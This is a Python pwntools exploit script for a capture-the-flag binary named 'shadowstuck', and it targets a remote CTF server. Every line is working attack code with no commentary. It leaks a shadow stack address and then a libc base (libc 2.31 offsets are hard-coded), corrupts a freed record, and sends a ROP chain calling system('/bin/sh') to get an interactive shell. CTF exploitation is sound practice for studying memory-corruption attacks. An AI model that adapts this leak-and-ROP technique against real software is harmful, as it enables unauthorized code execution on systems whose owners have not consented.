shadowstuck_expl.py

#!/usr/bin/python3
from pwn import *
from past.builtins import xrange
from time import sleep
import random

#Utils
def add(name):
	io.sendlineafter('> ','A')
	io.sendafter('name:\n',name)

def remove(name,reason):
	io.sendlineafter('[Q]uit\n> ','F')
	io.sendafter('fire?\n> ',name)
	io.sendafter('> ',reason)

def change(id,newname):
	io.sendlineafter('> ','C')
	io.sendlineafter('rename?\n',f'{id}')
	io.sendafter('employee:\n>',newname)

def view(idx):
	io.sendlineafter('> ','R')
	io.sendlineafter('name of?\n',f'{idx}')
	return io.recvline().strip()

#libc 2.31
__free_hook = 0x1eeb28
system = 0x55410
binsh = 0x1b75aa
puts = 0x875a0

#Gadget
L_pop_rdi = 0x00163e5c
L_ret = 0x0019bb77

if __name__ == '__main__':
#	io = process('./shadowstuck')
	io = remote('challenges.ctf.kaf.sh',8000)
	
	io.recvuntil('up at ')
	shadow_stack_leak = int(io.recvline().strip(),0)
	print(hex(shadow_stack_leak))
	add('HH\n') #0
	remove('HH\n',b'A'*0x10 + p64(shadow_stack_leak)[0:7])
	
	libc_leak = u64(view(1).split(b': ')[1].ljust(8,b'\0'))
	libc_base = libc_leak - 0x270b3
	print(hex(libc_base))
	change(1,p64(libc_base+L_pop_rdi)[0:7]+b'\n')

	io.sendlineafter('> ','Q')
	io.recvline()
	io.sendline(b'A'*0x19+\
			p64(libc_base+L_pop_rdi)+\
			p64(libc_base+binsh)+\
			p64(libc_base+L_ret)+\
			p64(libc_base+system) )	
	io.interactive()